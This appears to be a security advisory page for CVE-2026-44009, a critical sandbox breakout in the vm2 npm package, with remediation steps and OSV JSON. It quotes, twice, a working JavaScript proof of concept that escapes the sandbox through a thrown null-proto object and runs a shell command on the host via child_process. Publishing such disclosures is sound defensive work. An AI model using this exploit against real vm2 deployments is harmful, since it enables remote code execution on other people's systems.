CVE-2026-44009: Vm2 Vm2 Has Sandbox Breakout Through Vulnerability

CRITICAL
Advisory Identifier: GHSA-9vg3-4rfj-wgcm
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CVSS 9.8
CWE-668
Published
Advisory Summary

CVE-2026-44009 is a CRITICAL (CVSS 9.8) vm2 has sandbox breakout through vulnerability (CWE-668: Exposure of Resource to Wrong Sphere) affecting Vm2 libraries in the npm ecosystem. The issue involves vm2 has sandbox breakout through null proto exception. Remediation is available by upgrading affected packages to version 3.11.2.

CVE-2026-44009 at a Glance

CVE Identifier CVE-2026-44009
GHSA Identifier GHSA-9vg3-4rfj-wgcm
Severity CRITICAL
CVSS v3.1 Base Score 9.8
CWE Classification CWE-668: Exposure of Resource to Wrong Sphere
Affected Product Vm2
Package Ecosystem npm
Published Date
Last Updated

Security Impact

CVSS: 9.8

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2026-44009

To remediate this vulnerability, upgrade all affected Vm2 dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

vm2 fixed: 3.11.2 
npm install vm2@3.11.2
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release: 

npm ls vm2

How to Check if You Are Affected

To determine whether your Node.js application is affected by CVE-2026-44009, inspect your project dependencies using npm:

npm ls vm2

Analyze the terminal output to locate any version of Vm2 in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 3.11.2), your application is affected.

Note: The npm ls vm2 command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-668: Exposure of Resource to Wrong Sphere, where the product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource. In Vm2, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system. ### Details In `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object. ### PoC ```js const {VM} = require("vm2"); const vm = new VM(); console.log(vm.run(` const o = {__proto__: null}; try { throw o; } catch (e) { e.f = Buffer.prototype.inspect o.f.constructor("return process")().mainModule.require('child_process').execSync('touch pwned'); } `)); ``` ### Impact Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

CVE-2026-44009 Affected Vm2 Versions

1 component(s)
Fixed Versions:
3.11.2
Product / Package Ecosystem Affected Versions Fixed Version
vm2
npm/vm2
npm
< 3.11.2
3.11.2

References

GitHub Advisory / Wiki ADVISORY
https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm
NVD — CVE-2026-44009 NVD
https://nvd.nist.gov/vuln/detail/CVE-2026-44009
Vm2 Source Repository REPOSITORY
https://github.com/patriksimek/vm2
Vm2 Release RELEASE
https://github.com/patriksimek/vm2/releases/tag/v3.11.2

Frequently Asked Questions

What is CVE-2026-44009?
CVE-2026-44009 is a security vulnerability in Vm2 involving vm2 has Sandbox Breakout Through Null Proto Exception under CWE-668: Exposure of Resource to Wrong Sphere.
Which Vm2 versions are affected?
Affected versions include releases prior to 3.11.2 across affected packages: vm2.
What version fixes CVE-2026-44009?
Upgrading to 3.11.2 (or the latest patched release for your respective branch) resolves the vulnerability.
Is vm2 affected?
Yes, vm2 is affected in releases prior to 3.11.2. Upgrade your dependency to 3.11.2 or later.
What is the CVSS score of CVE-2026-44009?
CVE-2026-44009 has a CVSS v3.1 base score of 9.8 (CRITICAL) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2026-44009?
CVE-2026-44009 is classified under CWE-668: Exposure of Resource to Wrong Sphere (The product exposes a resource to the wrong control sphere, providing unintended actors with inappropriate access to the resource.).
How can I check npm dependencies for CVE-2026-44009?
Run the dependency tree command: 'npm ls vm2'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
View Raw JSON 
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9vg3-4rfj-wgcm",
  "modified" : "2026-05-14T20:37:12Z",
  "published" : "2026-05-08T16:20:58Z",
  "aliases" : [ "CVE-2026-44009" ],
  "summary" : "vm2 has Sandbox Breakout Through Null Proto Exception",
  "details" : "### Summary\n\nVM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.\n\n### Details\n\nIn `handleException` due to ``// SECURITY (post-GHSA-mpf8 hardening): use `from` (not `ensureThis`)`` exceptions with a null proto will be assumed to come from the other side and being proxied. Therefore, it is possible to get the proxied and unproxied object of a sandbox object with a null proto when thrown and then catched which allows to get the host `Function` object.\n\n### PoC\n\n```js\nconst {VM} = require(\"vm2\");\nconst vm = new VM();\nconsole.log(vm.run(`\nconst o = {__proto__: null};\ntry {\n\tthrow o;\n} catch (e) {\n\te.f = Buffer.prototype.inspect\n\to.f.constructor(\"return process\")().mainModule.require('child_process').execSync('touch pwned');\n}\n`));\n```\n\n### Impact\n\nAttackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "vm2"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "3.11.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/security/advisories/GHSA-9vg3-4rfj-wgcm"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44009"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/patriksimek/vm2"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/patriksimek/vm2/releases/tag/v3.11.2"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-668" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-08T16:20:58Z",
    "nvd_published_at" : "2026-05-13T18:16:17Z"
  }
}